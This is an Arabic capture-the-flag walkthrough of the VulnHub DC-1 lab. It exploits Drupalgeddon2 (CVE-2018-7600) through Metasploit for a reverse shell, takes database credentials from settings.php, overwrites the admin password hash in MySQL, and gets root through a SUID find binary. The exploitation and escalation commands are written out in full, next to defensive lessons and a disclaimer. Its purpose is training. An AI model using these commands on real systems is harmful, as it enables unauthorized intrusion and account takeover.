
VulnHub DC-1 boot-to-root — استغلال CVE-2018-7600 (Drupalgeddon2) لتنفيذ الأكواد عن بُعد (RCE)، واستخراج بيانات اعتماد قاعدة البيانات من settings.php، وتزوير تجزئة كلمة مرور المسؤول، ثم التصعيد إلى صلاحيات الجذر عبر SUID find.
"توثيقات لاختبارات اختراق مخبرية تغطي سلاسل الهجوم الكاملة — من الاستطلاع حتى الجذر."
الصعوبة: مبتدئ–متوسط
المنصة: VulnHub
الهدف: التقاط جميع الأعلام الأربعة وتحقيق اختراق كامل بصلاحيات الجذر
نظام المهاجم: Kali Linux (VirtualBox — NAT Network)
النظام المستهدف: Debian Linux (Drupal 7 CMS)
| المكوّن | التفاصيل |
|---|---|
| برنامج الإدارة الافتراضية |
تم تكوين الجهازين الافتراضيين تحت نفس شبكة NAT في VirtualBox للسماح بالتواصل بين الجهازين مع الحفاظ على بيئة مختبر معزولة.
تم استخدام arp-scan لتحديد جميع المضيفين النشطين على الشبكة الفرعية المحلية:
sudo arp-scan -l
النتيجة: تم تحديد الهدف عند 10.0.2.3
تم تشغيل فحص كامل بـ Nmap مع كشف الإصدار والبرامج النصية الافتراضية:
sudo nmap -sV -sC 10.0.2.3
النتائج الرئيسية:
| المنفذ | الخدمة | الإصدار |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 مهم: حدّد Nmap تطبيق الويب صراحةً على أنه Drupal 7 عبر ترويسات HTTP generator — مما يؤكد وجود إصدار CMS معروف بثغراته.
يتأثر Drupal 7 بثغرة حرجة لـ تنفيذ الأكواد عن بُعد (RCE) في واجهة Form API الخاصة به. يمكن للمهاجم غير المصادَق إرسال طلب HTTP مُعدّ بعناية ينفّذه الخادم الخلفي كأمر نظام — دون الحاجة إلى أي مصادقة.
تم إطلاق Metasploit Framework:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
النتيجة: تم فتح صدفة عكسية Meterpreter بنجاح بصلاحيات www-data (مستخدم عملية خادم الويب).
تم الانتقال من Meterpreter إلى صدفة Linux أصلية وتثبيتها باستخدام Python PTY:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
النتيجة: صدفة bash تفاعلية بالكامل بصلاحيات www-data@DC-1 داخل /var/www
ls -la /var/www
cat flag1.txt
محتويات العلم 1:
Every good CMS needs a config file - and so do you.
💡 تلميح: يشير مباشرةً إلى ملف إعدادات Drupal —
settings.php
تم الانتقال إلى دليل إعدادات Drupal وفحص ملف الإعدادات:
cd /var/www/sites/default
cat settings.php
تم اكتشاف بيانات اعتماد مضمّنة في مصفوفة $databases:
| الحقل | القيمة |
|---|---|
| قاعدة البيانات | drupaldb |
| اسم المستخدم | dbuser |
| كلمة المرور | R0ck3t |
محتويات العلم 2 (من تعليقات الملف):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 تلميح: استخدم بيانات الاعتماد للوصول إلى خادم MySQL الخلفي — دون اللجوء إلى أي هجوم تخمين (brute force).
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
تم العثور على كلمات مرور مشفّرة للمستخدمَين admin وfred — وكلاهما يستخدم نظام التجزئة $S$ الخاص بـ Drupal (المبني على SHA-512).
بدلاً من كسر الهاش الموجود، تم استخدام سكربت PHP المدمج في Drupal لإنشاء هاش جديد:
cd /var/www
php scripts/password-hash.sh password123
الناتج: هاش $S$D... صالح لكلمة المرور password123
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
تم تسجيل الدخول إلى http://10.0.2.3 بنجاح باسم المستخدم admin وكلمة المرور password123.
محتويات العلم 3 (تم العثور عليها في لوحة محتوى إدارة Drupal):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 تلميح: إعداد خاطئ لثنائي SUID على الأمر
find— تم تحديد مسار تصعيد الصلاحيات.
cat /etc/passwd
تم تحديد موقع المستخدم flag4 مع دليله الرئيسي في /home/flag4.
cat /home/flag4/flag4.txt
محتويات العلم 4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
findكان الثنائي find يملك بت SUID مفعّلاً، مما يعني أنه يُنفَّذ بصلاحيات مالك الملف (الجذر) بغض النظر عمّن يشغّله.
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
تم تحقيق اختراق كامل بصلاحيات الجذر. ✅
من منظور هجومي:
settings.php غالباً ما تحتوي بيانات اعتماد نصية صريحة (plaintext) تتيح للمهاجم الانتقال من الوصول إلى الويب إلى السيطرة الكاملة على قاعدة البيانات.find أو vim أو python تُعدّ من أكثر مسارات تصعيد الصلاحيات موثوقية في بيئات Linux.من منظور دفاعي:
find / -perm -4000 -type f 2>/dev/null جزءاً من أي قائمة تحقق لتقوية أمان Linux.هذا التوثيق لأغراض تعليمية بحتة، ويوثّق أنشطة نُفّذت في بيئة مختبر معزولة وقانونية. لا تحاول أبداً تطبيق هذه التقنيات على أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
أُنجز بواسطة Prapul | ملف تعريف TryHackMe | GitHub
| VirtualBox |
| وضع الشبكة | NAT Network (كلا الجهازين على نفس الشبكة الفرعية) |
| جهاز المهاجم | Kali Linux |
| الجهاز المستهدف | DC-1 (VulnHub) |
| عنوان IP المستهدف | 10.0.2.3 (تم اكتشافه عبر arp-scan) |
| الأداة | الغرض |
|---|
arp-scan | اكتشاف المضيفين على الشبكة الفرعية المحلية |
nmap | فحص المنافذ وتحديد بصمة الخدمات |
Metasploit Framework | تسليم استغلال CVE-2018-7600 وفتح صدفة عكسية |
MySQL CLI | تعداد قاعدة البيانات والتلاعب ببيانات الاعتماد |
PHP (password-hash.sh) | توليد هاش Drupal الأصلي |
Python PTY | تثبيت الصدفة |
VirtualBox | إعداد بيئة المختبر المعزولة |